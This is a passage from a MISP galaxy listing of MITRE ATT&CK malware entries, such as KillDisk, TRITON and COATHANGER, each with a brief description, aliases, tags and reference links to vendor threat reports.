https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/

eSurv - S0507

[eSurv](https://attack.mitre.org/software/S0507) is mobile surveillanceware designed for the lawful intercept market that was developed over the course of many years.(Citation: Lookout eSurv)

The tag is: *misp-galaxy:mitre-malware="eSurv - S0507"*

eSurv - S0507 is also known as:

- eSurv

Table 11138. Table References

Links
https://attack.mitre.org/software/S0507
https://blog.lookout.com/esurv-research

SslMM - S0058

[SslMM](https://attack.mitre.org/software/S0058) is a full-featured backdoor used by [Naikon](https://attack.mitre.org/groups/G0019) that has multiple variants. (Citation: Baumgartner Naikon 2015)

The tag is: *misp-galaxy:mitre-malware="SslMM - S0058"*

SslMM - S0058 is also known as:

- SslMM

View relationships graph

SslMM - S0058 has relationships with:

- similar: misp-galaxy:malpedia="SslMM" with estimative-language:likelihood-probability="likely"

Table 11139. Table References

Links
https://attack.mitre.org/software/S0058
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf

FakeSpy - S0509

[FakeSpy](https://attack.mitre.org/software/S0509) is Android spyware that has been operated by the Chinese threat actor behind the Roaming Mantis campaigns.(Citation: Cybereason FakeSpy)

The tag is: *misp-galaxy:mitre-malware="FakeSpy - S0509"*

FakeSpy - S0509 is also known as:

- FakeSpy

Table 11140. Table References

Links
https://attack.mitre.org/software/S0509
https://www.cybereason.com/blog/fakespy-masquerades-as-postal-service-apps-around-the-world

WinMM - S0059

[WinMM](https://attack.mitre.org/software/S0059) is a full-featured, simple backdoor used by [Naikon](https://attack.mitre.org/groups/G0019). (Citation: Baumgartner Naikon 2015)

The tag is: *misp-galaxy:mitre-malware="WinMM - S0059"*

WinMM - S0059 is also known as:

- WinMM

View relationships graph

WinMM - S0059 has relationships with:

- similar: misp-galaxy:malpedia="WinMM" with estimative-language:likelihood-probability="likely"

Table 11141. Table References

Links
https://attack.mitre.org/software/S0059
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf

Clambling - S0660

[Clambling](https://attack.mitre.org/software/S0660) is a modular backdoor written in C++ that has been used by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2017.(Citation: Trend Micro DRBControl February 2020)

The tag is: *misp-galaxy:mitre-malware="Clambling - S0660"*

Clambling - S0660 is also known as:

- Clambling

Table 11142. Table References

Links
https://attack.mitre.org/software/S0660
https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf

WarzoneRAT - S0670

[WarzoneRAT](https://attack.mitre.org/software/S0670) is a malware-as-a-service remote access tool (RAT) written in C++ that has been publicly available for purchase since at least late 2018.(Citation: Check Point Warzone Feb 2020)(Citation: Uptycs Warzone UAC Bypass November 2020)

The tag is: *misp-galaxy:mitre-malware="WarzoneRAT - S0670"*

WarzoneRAT - S0670 is also known as:

- WarzoneRAT
- Warzone

- Ave Maria

Table 11143. Table References

Links
https://attack.mitre.org/software/S0670
https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/
https://www.uptycs.com/blog/warzone-rat-comes-with-uac-bypass-technique

KillDisk - S0607

[KillDisk](https://attack.mitre.org/software/S0607) is a disk-wiping tool designed to overwrite files with random data to render the OS unbootable. It was first observed as a component of [BlackEnergy](https://attack.mitre.org/software/S0089) malware during cyber attacks against Ukraine in 2015. [KillDisk](https://attack.mitre.org/software/S0607) has since evolved into stand-alone malware used by a variety of threat actors against additional targets in Europe and Latin America; in 2016 a ransomware component was also incorporated into some [KillDisk](https://attack.mitre.org/software/S0607) variants.(Citation: KillDisk Ransomware)(Citation: ESEST Black Energy Jan 2016)(Citation: Trend Micro KillDisk 1)(Citation: Trend Micro KillDisk 2)

The tag is: *misp-galaxy:mitre-malware="KillDisk - S0607"*

KillDisk - S0607 is also known as:

- KillDisk
- Win32/KillDisk.NBI
- Win32/KillDisk.NBH
- Win32/KillDisk.NBD
- Win32/KillDisk.NBC
- Win32/KillDisk.NBB

Table 11144. Table References

Links
http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/
https://attack.mitre.org/software/S0607
https://www.bleepingcomputer.com/news/security/killdisk-disk-wiping-malware-adds-ransomware-component/
https://www.trendmicro.com/en_us/research/18/a/new-killdisk-variant-hits-financial-organizations-in-latin-america.html
https://www.trendmicro.com/en_us/research/18/f/new-killdisk-variant-hits-latin-american-financial-organizations-again.html

FakeM - S0076

[FakeM](https://attack.mitre.org/software/S0076) is a shellcode-based Windows backdoor that has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). (Citation: Scarlet Mimic Jan 2016)

The tag is: *misp-galaxy:mitre-malware="FakeM - S0076"*

FakeM - S0076 is also known as:

- FakeM

Table 11145. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/
https://attack.mitre.org/software/S0076

pngdowner - S0067

[pngdowner](https://attack.mitre.org/software/S0067) is malware used by [Putter Panda](https://attack.mitre.org/groups/G0024). It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple "download-and- execute" utility. (Citation: CrowdStrike Putter Panda)

The tag is: *misp-galaxy:mitre-malware="pngdowner - S0067"*

pngdowner - S0067 is also known as:

- pngdowner

View relationships graph

pngdowner - S0067 has relationships with:

- similar: misp-galaxy:malpedia="pngdowner" with estimative-language:likelihood-probability="likely"

Table 11146. Table References

Links
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf
https://attack.mitre.org/software/S0067

Conficker - S0608

[Conficker](https://attack.mitre.org/software/S0608) is a computer worm first detected in October 2008 that targeted Microsoft Windows using the MS08-067 Windows vulnerability to

spread.(Citation: SANS Conficker) In 2016, a variant of [Conficker](https://attack.mitre.org/software/S0608) made its way on computers and removable disk drives belonging to a nuclear power plant.(Citation: Conficker Nuclear Power Plant)

The tag is: *misp-galaxy:mitre-malware="Conficker - S0608"*

Conficker - S0608 is also known as:

- Conficker
- Kido
- Downadup

Table 11147. Table References

Links
https://attack.mitre.org/software/S0608
https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml
https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm

LitePower - S0680

[LitePower](https://attack.mitre.org/software/S0680) is a downloader and second stage malware that has been used by [WIRTE](https://attack.mitre.org/groups/G0090) since at least 2021.(Citation: Kaspersky WIRTE November 2021)

The tag is: *misp-galaxy:mitre-malware="LitePower - S0680"*

LitePower - S0680 is also known as:

- LitePower

Table 11148. Table References

Links
https://attack.mitre.org/software/S0680
https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044

ZLib - S0086

[ZLib](https://attack.mitre.org/software/S0086) is a full-featured backdoor that was used as a second-stage implant during [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016) since at least 2014. [ZLib](https://attack.mitre.org/software/S0086) is malware and should not be confused with the legitimate compression library from which its name is derived.(Citation: Cylance Dust Storm)

The tag is: *misp-galaxy:mitre-malware="ZLib - S0086"*

ZLib - S0086 is also known as:

- ZLib

Table 11149. Table References

Links
https://attack.mitre.org/software/S0086
https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf

httpclient - S0068

[httpclient](https://attack.mitre.org/software/S0068) is malware used by [Putter Panda](https://attack.mitre.org/groups/G0024). It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool. (Citation: CrowdStrike Putter Panda)

The tag is: *misp-galaxy:mitre-malware="httpclient - S0068"*

httpclient - S0068 is also known as:

- httpclient

Table 11150. Table References

Links
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf
https://attack.mitre.org/software/S0068

BLACKCOFFEE - S0069

[BLACKCOFFEE](https://attack.mitre.org/software/S0069) is malware that has been used by several Chinese groups since at least 2013. (Citation: FireEye APT17) (Citation: FireEye Periscope March 2018)

The tag is: *misp-galaxy:mitre-malware="BLACKCOFFEE - S0069"*

BLACKCOFFEE - S0069 is also known as:

- BLACKCOFFEE

Table 11151. Table References

Links
https://attack.mitre.org/software/S0069

https://web.archive.org/web/20240119213200/https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

TRITON - S0609

This entry was deprecated as it was inadvertently added to Enterprise; a similar Software entry was created for ATT&CK for ICS.

[TRITON](https://attack.mitre.org/software/S0609) is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. [TRITON](https://attack.mitre.org/software/S0609) was deployed against at least one target in the Middle East. (Citation: FireEye TRITON 2017)(Citation: FireEye TRITON 2018)(Citation: Dragos TRISIS)(Citation: CISA HatMan)(Citation: FireEye TEMP.Veles 2018)

The tag is: *misp-galaxy:mitre-malware="TRITON - S0609"*

TRITON - S0609 is also known as:

- TRITON
- HatMan
- TRISIS

Table 11152. Table References

Links
https://attack.mitre.org/software/S0609
https://us-cert.cisa.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf
https://www.dragos.com/wp-content/uploads/TRISIS-01.pdf
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html
https://www.fireeye.com/blog/threat-research/2018/06/totally-tubular-treatise-on-TRITON-and-tristation.html
https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html

CallMe - S0077

[CallMe](https://attack.mitre.org/software/S0077) is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell. (Citation: Scarlet Mimic Jan 2016)

The tag is: *misp-galaxy:mitre-malware="CallMe - S0077"*

CallMe - S0077 is also known as:

- CallMe

Table 11153. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/
https://attack.mitre.org/software/S0077

Psylo - S0078

[Psylo](https://attack.mitre.org/software/S0078) is a shellcode-based Trojan that has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). It has similar characteristics as [FakeM](https://attack.mitre.org/software/S0076). (Citation: Scarlet Mimic Jan 2016)

The tag is: *misp-galaxy:mitre-malware="Psylo - S0078"*

Psylo - S0078 is also known as:

- Psylo

Table 11154. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/
https://attack.mitre.org/software/S0078

MobileOrder - S0079

[MobileOrder](https://attack.mitre.org/software/S0079) is a Trojan intended to compromise Android mobile devices. It has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). (Citation: Scarlet Mimic Jan 2016)

The tag is: *misp-galaxy:mitre-malware="MobileOrder - S0079"*

Table 11155. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/
https://attack.mitre.org/software/S0079

Kasidet - S0088

[Kasidet](https://attack.mitre.org/software/S0088) is a backdoor that has been dropped by using malicious VBA macros. (Citation: Zscaler Kasidet)

The tag is: *misp-galaxy:mitre-malware="Kasidet - S0088"*

Kasidet - S0088 is also known as:

- Kasidet

View relationships graph

Kasidet - S0088 has relationships with:

- similar: misp-galaxy:malpedia="Neutrino" with estimative-language:likelihood-probability="likely"

Table 11156. Table References

Links
http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html
https://attack.mitre.org/software/S0088

BlackEnergy - S0089

[BlackEnergy](https://attack.mitre.org/software/S0089) is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)

The tag is: *misp-galaxy:mitre-malware="BlackEnergy - S0089"*

BlackEnergy - S0089 is also known as:

- BlackEnergy
- Black Energy

View relationships graph

BlackEnergy - S0089 has relationships with:

- similar: misp-galaxy:tool="BlackEnergy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="BlackEnergy" with estimative-language:likelihood-probability="likely"

Table 11157. Table References

Links
https://attack.mitre.org/software/S0089
https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf

H1N1 - S0132

[H1N1](https://attack.mitre.org/software/S0132) is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality. (Citation: Cisco H1N1 Part 1)

The tag is: *misp-galaxy:mitre-malware="H1N1 - S0132"*

H1N1 - S0132 is also known as:

- H1N1

Table 11158. Table References

Links
http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities
https://attack.mitre.org/software/S0132

SLIGHTPULSE - S1110

[SLIGHTPULSE](https://attack.mitre.org/software/S1110) is a web shell that was used by [APT5](https://attack.mitre.org/groups/G1023) as early as 2020 including against Pulse Secure VPNs at US Defense Industrial Base (DIB) entities.(Citation: Mandiant Pulse Secure Zero-Day April 2021)

The tag is: *misp-galaxy:mitre-malware="SLIGHTPULSE - S1110"*

SLIGHTPULSE - S1110 is also known as:

- SLIGHTPULSE

Table 11159. Table References

Links
https://attack.mitre.org/software/S1110
https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day

LoFiSe - S1101

[LoFiSe](https://attack.mitre.org/software/S1101) has been used by [ToddyCat](https://attack.mitre.org/groups/G1022) since at least 2023 to identify and collect files of interest on targeted systems.(Citation: Kaspersky ToddyCat Check Logs October 2023)

The tag is: *misp-galaxy:mitre-malware="LoFiSe - S1101"*

LoFiSe - S1101 is also known as:

- LoFiSe

Table 11160. Table References

Links
https://attack.mitre.org/software/S1101
https://securelist.com/toddycat-keep-calm-and-check-logs/110696/

Tarrask - S1011

[Tarrask](https://attack.mitre.org/software/S1011) is malware that has been used by [HAFNIUM](https://attack.mitre.org/groups/G0125) since at least August 2021. [Tarrask](https://attack.mitre.org/software/S1011) was designed to evade digital defenses and maintain persistence by generating concealed scheduled tasks.(Citation: Tarrask scheduled task)

The tag is: *misp-galaxy:mitre-malware="Tarrask - S1011"*

Tarrask - S1011 is also known as:

- Tarrask

Table 11161. Table References

Links
https://attack.mitre.org/software/S1011
https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/

TRANSLATEXT - S1201

[TRANSLATEXT](https://attack.mitre.org/software/S1201) is malware that is believed to be used by [Kimsuky](https://attack.mitre.org/groups/G0094).(Citation: Zscaler Kimsuky TRANSLATEXT) [TRANSLATEXT](https://attack.mitre.org/software/S1201) masqueraded as a Google Translate extension for Google Chrome, but is actually a collection of four malicious Javascript files that perform defense evasion, information collection and exfiltration.(Citation: Zscaler Kimsuky TRANSLATEXT)

The tag is: *misp-galaxy:mitre-malware="TRANSLATEXT - S1201"*

TRANSLATEXT - S1201 is also known as:

- TRANSLATEXT

Table 11162. Table References

Links
https://attack.mitre.org/software/S1201
https://www.zscaler.com/blogs/security-research/kimsuky-deploys-translatext-target-south-korean-academia#technical-analysis

FRAMESTING - S1120

[FRAMESTING](https://attack.mitre.org/software/S1120) is a Python web shell that was used during [Cutting Edge](https://attack.mitre.org/campaigns/C0029) to embed into an Ivanti Connect Secure Python package for command execution.(Citation: Mandiant Cutting Edge Part 2 January 2024)

The tag is: *misp-galaxy:mitre-malware="FRAMESTING - S1120"*

FRAMESTING - S1120 is also known as:

- FRAMESTING

Table 11163. Table References

Links
https://attack.mitre.org/software/S1120
https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation

ROCKBOOT - S0112

[ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bootkit](https://attack.mitre.org/techniques/T1542/003) that has been used by an unidentified, suspected China-based group.(Citation: FireEye Bootkits)

The tag is: *misp-galaxy:mitre-malware="ROCKBOOT - S0112"*

ROCKBOOT - S0112 is also known as:

- ROCKBOOT

Table 11164. Table References

Links
https://attack.mitre.org/software/S0112
https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html

DnsSystem - S1021

[DnsSystem](https://attack.mitre.org/software/S1021) is a .NET based DNS backdoor, which is a customized version of the open source tool DIG.net, that has been used by [HEXANE](https://attack.mitre.org/groups/G1001) since at least June 2022.(Citation: Zscaler Lyceum DnsSystem June 2022)

The tag is: *misp-galaxy:mitre-malware="DnsSystem - S1021"*

DnsSystem - S1021 is also known as:

- DnsSystem

Table 11165. Table References

Links
https://attack.mitre.org/software/S1021
https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor

PowerLess - S1012

[PowerLess](https://attack.mitre.org/software/S1012) is a PowerShell-based modular backdoor that has been used by [Magic Hound](https://attack.mitre.org/groups/G0059) since at least 2022.(Citation: Cybereason PowerLess February 2022)

The tag is: *misp-galaxy:mitre-malware="PowerLess - S1012"*

PowerLess - S1012 is also known as:

- PowerLess

Table 11166. Table References

Links
https://attack.mitre.org/software/S1012
https://www.cybereason.com/blog/research/powerless-trojan-iranian-apt-phosphorus-adds-new-powershell-backdoor-for-espionage

Linfo - S0211

[Linfo](https://attack.mitre.org/software/S0211) is a rootkit trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Linfo May 2012)

The tag is: *misp-galaxy:mitre-malware="Linfo - S0211"*

Linfo - S0211 is also known as:

- Linfo

Table 11167. Table References

Links
https://attack.mitre.org/software/S0211
https://web.archive.org/web/20190717233006/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf

https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99

Pcexter - S1102

[Pcexter](https://attack.mitre.org/software/S1102) is an uploader that has been used by [ToddyCat](https://attack.mitre.org/groups/G1022) since at least 2023 to exfiltrate stolen files.(Citation: Kaspersky ToddyCat Check Logs October 2023)

The tag is: *misp-galaxy:mitre-malware="Pcexter - S1102"*

Pcexter - S1102 is also known as:

- Pcexter

Table 11168. Table References

Links
https://attack.mitre.org/software/S1102
https://securelist.com/toddycat-keep-calm-and-check-logs/110696/

Sagerunex - S1210

[Sagerunex](https://attack.mitre.org/software/S1210) is a malware family exclusively associated with [Lotus Blossom](https://attack.mitre.org/groups/G0030) operations, with variants existing since at least 2016. Variations of [Sagerunex](https://attack.mitre.org/software/S1210) leverage non-traditional command and control mechanisms such as various web services.(Citation: Symantec Bilbug 2022)(Citation: Cisco LotusBlossom 2025)

The tag is: *misp-galaxy:mitre-malware="Sagerunex - S1210"*

Sagerunex - S1210 is also known as:

- Sagerunex

Table 11169. Table References

Links
https://attack.mitre.org/software/S1210
https://blog.talosintelligence.com/lotus-blossom-espionage-group/
https://www.security.com/threat-intelligence/espionage-asia-governments-cert-authority

PS1 - S0613

[PS1](https://attack.mitre.org/software/S0613) is a loader that was used to deploy 64-bit backdoors in the [CostaRicto](https://attack.mitre.org/groups/G0132) campaign.(Citation: BlackBerry CostaRicto November 2020)

The tag is: *misp-galaxy:mitre-malware="PS1 - S0613"*

PS1 - S0613 is also known as:

- PS1

Table 11170. Table References

Links
https://attack.mitre.org/software/S0613
https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced

FlixOnline - S1103

[FlixOnline](https://attack.mitre.org/software/S1103) is an Android malware, first detected in early 2021, believed to target users of WhatsApp. [FlixOnline](https://attack.mitre.org/software/S1103) primarily spreads via automatic replies to a device's incoming WhatsApp messages.(Citation: checkpoint_flixonline_0421)

The tag is: *misp-galaxy:mitre-malware="FlixOnline - S1103"*

FlixOnline - S1103 is also known as:

- FlixOnline

Table 11171. Table References

Links
https://attack.mitre.org/software/S1103
https://research.checkpoint.com/2021/new-wormable-android-malware-spreads-by-creating-auto-replies-to-messages-in-whatsapp/

TINYTYPHON - S0131

[TINYTYPHON](https://attack.mitre.org/software/S0131) is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm. (Citation: Forcepoint Monsoon)

The tag is: *misp-galaxy:mitre-malware="TINYTYPHON - S0131"*

TINYTYPHON - S0131 is also known as:

- TINYTYPHON

Table 11172. Table References

Links
https://attack.mitre.org/software/S0131

https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf

PingPull - S1031

[PingPull](https://attack.mitre.org/software/S1031) is a remote access Trojan (RAT) written in Visual C++ that has been used by [GALLIUM](https://attack.mitre.org/groups/G0093) since at least June 2022. [PingPull](https://attack.mitre.org/software/S1031) has been used to target telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam.(Citation: Unit 42 PingPull Jun 2022)

The tag is: *misp-galaxy:mitre-malware="PingPull - S1031"*

PingPull - S1031 is also known as:

- PingPull

Table 11173. Table References

Links
https://attack.mitre.org/software/S1031
https://unit42.paloaltonetworks.com/pingpull-gallium/

Prikormka - S0113

[Prikormka](https://attack.mitre.org/software/S0113) is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008. (Citation: ESET Operation Groundbait)

The tag is: *misp-galaxy:mitre-malware="Prikormka - S0113"*

Prikormka - S0113 is also known as:

- Prikormka

View relationships graph

Prikormka - S0113 has relationships with:

- similar: misp-galaxy:tool="Prikormka" with estimative-language:likelihood-probability="likely"

Table 11174. Table References

Links
http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf
https://attack.mitre.org/software/S0113

YiSpecter - S0311

[YiSpecter](https://attack.mitre.org/software/S0311) is a family of iOS and Android malware, first detected in November 2014, targeting users in mainland China and Taiwan. [YiSpecter](https://attack.mitre.org/software/S0311) abuses private APIs in iOS to infect both jailbroken and non-jailbroken devices.(Citation: paloalto_yispecter_1015)

The tag is: *misp-galaxy:mitre-malware="YiSpecter - S0311"*

YiSpecter - S0311 is also known as:

- YiSpecter

Table 11175. Table References

Links
https://attack.mitre.org/software/S0311
https://unit42.paloaltonetworks.com/yispecter-first-ios-malware-attacks-non-jailbroken-ios-devices-by-abusing-private-apis/

ZxxZ - S1013

[ZxxZ](https://attack.mitre.org/software/S1013) is a trojan written in Visual C++ that has been used by [BITTER](https://attack.mitre.org/groups/G1002) since at least August 2021, including against Bangladeshi government personnel.(Citation: Cisco Talos Bitter Bangladesh May 2022)

The tag is: *misp-galaxy:mitre-malware="ZxxZ - S1013"*

ZxxZ - S1013 is also known as:

- ZxxZ

Table 11176. Table References

Links
https://attack.mitre.org/software/S1013
https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html

BOOTRASH - S0114

[BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bootkit](https://attack.mitre.org/techniques/T1542/003) that targets Windows operating systems. It has been used by threat actors that target the financial sector.(Citation: Mandiant M Trends 2016)(Citation: FireEye Bootkits)(Citation: FireEye BOOTRASH SANS)

The tag is: *misp-galaxy:mitre-malware="BOOTRASH - S0114"*

BOOTRASH - S0114 is also known as:

- BOOTRASH

Table 11177. Table References

Links
https://attack.mitre.org/software/S0114
https://web.archive.org/web/20190926040727/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1498163766.pdf
https://web.archive.org/web/20211024160454/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf
https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html

DanBot - S1014

[DanBot](https://attack.mitre.org/software/S1014) is a first-stage remote access Trojan written in C# that has been used by [HEXANE](https://attack.mitre.org/groups/G1001) since at least 2018.(Citation: SecureWorks August 2019)

The tag is: *misp-galaxy:mitre-malware="DanBot - S1014"*

DanBot - S1014 is also known as:

- DanBot

Table 11178. Table References

Links
https://attack.mitre.org/software/S1014
https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign

Chinoxy - S1041

[Chinoxy](https://attack.mitre.org/software/S1041) is a backdoor that has been used since at least November 2018, during the [FunnyDream](https://attack.mitre.org/campaigns/C0007) campaign, to gain persistence and drop additional payloads. According to security researchers, [Chinoxy](https://attack.mitre.org/software/S1041) has been used by Chinese-speaking threat actors.(Citation: Bitdefender FunnyDream Campaign November 2020)

The tag is: *misp-galaxy:mitre-malware="Chinoxy - S1041"*

Chinoxy - S1041 is also known as:

- Chinoxy

Table 11179. Table References

Links
https://attack.mitre.org/software/S1041

https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf

SLOWPULSE - S1104

[SLOWPULSE](https://attack.mitre.org/software/S1104) is a malware that was used by [APT5](https://attack.mitre.org/groups/G1023) as early as 2020 including against U.S. Defense Industrial Base (DIB) companies. [SLOWPULSE](https://attack.mitre.org/software/S1104) has several variants and can modify legitimate Pulse Secure VPN files in order to log credentials and bypass single and two-factor authentication flows.(Citation: Mandiant Pulse Secure Zero-Day April 2021)

The tag is: *misp-galaxy:mitre-malware="SLOWPULSE - S1104"*

SLOWPULSE - S1104 is also known as:

- SLOWPULSE

Table 11180. Table References

Links
https://attack.mitre.org/software/S1104
https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day

Rotexy - S0411

[Rotexy](https://attack.mitre.org/software/S0411) is an Android banking malware that has evolved over several years. It was originally an SMS spyware Trojan first spotted in October 2014, and since then has evolved to contain more features, including ransomware functionality.(Citation: securelist rotexy 2018)

The tag is: *misp-galaxy:mitre-malware="Rotexy - S0411"*

Rotexy - S0411 is also known as:

- Rotexy

Table 11181. Table References

Links
https://attack.mitre.org/software/S0411
https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/

Spica - S1140

[Spica](https://attack.mitre.org/software/S1140) is a custom backdoor written in Rust that has been used by [Star Blizzard](https://attack.mitre.org/groups/G1033) since at least 2023.(Citation: Google TAG COLDRIVER January 2024)

The tag is: *misp-galaxy:mitre-malware="Spica - S1140"*

Spica - S1140 is also known as:

- Spica

Table 11182. Table References

Links
https://attack.mitre.org/software/S1140
https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/

HALFBAKED - S0151

[HALFBAKED](https://attack.mitre.org/software/S0151) is a malware family consisting of multiple components intended to establish persistence in victim networks. (Citation: FireEye FIN7 April 2017)

The tag is: *misp-galaxy:mitre-malware="HALFBAKED - S0151"*

View relationships graph

HALFBAKED - S0151 has relationships with:

- similar: misp-galaxy:tool="VB Flash" with estimative-language:likelihood-probability="likely"

Table 11183. Table References

Links
https://attack.mitre.org/software/S0151
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html

COATHANGER - S1105

[COATHANGER](https://attack.mitre.org/software/S1105) is a remote access tool (RAT) targeting FortiGate networking appliances. First used in 2023 in targeted intrusions against military and government entities in the Netherlands along with other victims, [COATHANGER](https://attack.mitre.org/software/S1105) was disclosed in early 2024, with a high confidence assessment linking this malware to a state-sponsored entity in the People's Republic of China. [COATHANGER](https://attack.mitre.org/software/S1105) is delivered after gaining access to a FortiGate device, with in-the-wild observations linked to exploitation of CVE-2022-42475. The name [COATHANGER](https://attack.mitre.org/software/S1105) is based on a unique string in the malware used to encrypt configuration files on disk: <code>"She took his coat and hung it up"</code>.(Citation: NCSC-NL COATHANGER Feb 2024)

The tag is: *misp-galaxy:mitre-malware="COATHANGER - S1105"*

COATHANGER - S1105 is also known as:

- COATHANGER

Table 11184. Table References

Links
https://attack.mitre.org/software/S1105
https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf

ROADSWEEP - S1150

[ROADSWEEP](https://attack.mitre.org/software/S1150) is a ransomware that was deployed against Albanian government networks during [HomeLand Justice](https://attack.mitre.org/campaigns/C0038) along with the [CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) backdoor.(Citation: Mandiant ROADSWEEP August 2022)

The tag is: *misp-galaxy:mitre-malware="ROADSWEEP - S1150"*

ROADSWEEP - S1150 is also known as:

- ROADSWEEP

Table 11185. Table References

Links
https://attack.mitre.org/software/S1150
https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/

Crimson - S0115

[Crimson](https://attack.mitre.org/software/S0115) is a remote access Trojan that has been used by [Transparent Tribe](https://attack.mitre.org/groups/G0134) since at least 2016.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)

The tag is: *misp-galaxy:mitre-malware="Crimson - S0115"*

Crimson - S0115 is also known as:

- Crimson
- MSIL/Crimson

View relationships graph

Crimson - S0115 has relationships with:

- similar: misp-galaxy:tool="Crimson" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:rat="Crimson" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:malpedia="Crimson RAT" with estimative-language:likelihood-probability="likely"

Table 11186. Table References

Links
https://attack.mitre.org/software/S0115
https://securelist.com/transparent-tribe-part-1/98127/
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf

RegDuke - S0511

